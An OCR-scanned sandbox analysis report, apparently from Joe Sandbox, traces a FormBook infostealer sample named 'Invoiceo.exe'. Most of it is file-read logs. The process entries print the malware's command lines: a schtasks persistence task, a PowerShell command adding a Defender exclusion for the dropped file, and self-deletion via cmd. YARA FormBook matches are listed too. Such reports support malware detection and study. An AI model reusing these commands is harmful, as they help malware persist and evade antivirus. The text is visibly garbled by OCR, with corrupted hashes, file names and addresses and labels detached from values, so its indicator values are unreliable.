PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 success or wait 1 6CCF1B4F ReadFile
oundTask\AppBackgroundTask.psd1l

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 end of file 1 6CCF1B4F ReadFile
oundTask\AppBackgroundTask.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 990 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 990 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DDEO3DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Management.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DDEO3DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DDEO3DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DDEO3DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DDEO3DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 success or wait 1 B6CCF1B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 end of file 1 6CCF1B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 success or wait 3 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 770 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 1 6CCF1B4F ReadFile

PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 8 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 128 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 success or wait 3 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 770 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 4096 success or wait 74 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 104 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 522 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 358 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 160 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 699 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 699 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile
MSFT_MpComputerStatus.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpComputerStatus.cdxml

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache unknown 62 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 4096 success or wait 12 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 764 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 617 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile
MSFT_MpThreatCatalog.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpThreatCatalog.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 227 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpSignature.cdxml  unknown 243 end of file 1 6CCF1B4F ReadFile
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpSignature.cdxml  unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpWDOScan.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpWDOScan.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 2 6CCF1B4F ReadFile

PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 2 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 16 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 128 end of file 2 6CCF1B4F ReadFile
PowerShell.Utility.psm1

Analysis Process: conhost.exe PID: 6708 Parent PID: 6660

General

Start time: 14:50:09

Start date: 03/05/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: schtasks.exe PID: 6716 Parent PID: 6316

General

Start time: 14:50:09

Start date: 03/05/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\yYxmxiApi' /XML 'C:\User
s\user\AppData\Local\Temp\tmpEE1D.tmp"

Imagebase: 0x1130000

File size: 185856 bytes

MDS5 hash: 15FF7D8324231381BAD48A052F85DF04

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\tmpEE1D.tmp unknown 2 success or wait 1 113AB22 ReadFile
C:\Users\user\AppData\Local\Temp\tmpEE1D.tmp unknown 1643 success or wait 1 113ABD9 ReadFile
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Analysis Process: conhost.exe PID: 6732 Parent PID: 6716

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

14:50:10

03/05/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6b2800000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: powershell.exe PID: 6856 Parent PID: 6316
General
Start time: 14:50:10
Start date: 03/05/2021
Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Roaming\yYxmxiApi.exe'

0x1150000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

Net C# or VB.NET

Reputation: high
Analysis Process: Invoiceo.exe PID: 6872 Parent PID: 6316
General
Start time: 14:50:11
Start date: 03/05/2021
Path: C:\Users\user\Desktop\Invoiceo.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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true

C:\Users\user\Desktop\Invoiceo.exe
0x5e0000

767488 bytes
8F2489D7CE50E99109AF9925818DAF2B
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.324137848.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.324137848.0000000000400000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.324137848.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.329186274.0000000000C40000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.329186274.0000000000C40000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.329186274.0000000000C40000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

Analysis Process: conhost.exe PID: 6880 Parent PID: 6856

General

Start time: 14:50:11

Start date: 03/05/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: explorer.exe PID: 3388 Parent PID: 6872

General

Start time: 14:50:14

Start date: 03/05/2021

Path: C:\Windows\explorer.exe
Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff714890000

File size: 3933184 bytes

MDS5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: cmd.exe PID: 5112 Parent PID: 3388

General

Start time: 14:50:58

Start date: 03/05/2021

Path: C:\Windows\SysWOW64\cmd.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\cmd.exe
0x330000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000001A.00000002.469448045.0000000000400000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000001A.00000002.469448045.0000000000400000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000001A.00000002.469448045.0000000000400000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000001A.00000002.476129383.0000000003200000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000001A.00000002.476129383.0000000003200000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Reputation: high
Analysis Process: cmd.exe PID: 4604 Parent PID: 5112
General
Start time: 14:51:04
Start date: 03/05/2021
Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

/c del 'C:\Users\user\Desktop\Invoiceo.exe'
0x330000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
Analysis Process: conhost.exe PID: 2152 Parent PID: 4604
General
Start time: 14:51:05
Start date: 03/05/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Disassembly
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false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff6b2800000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language
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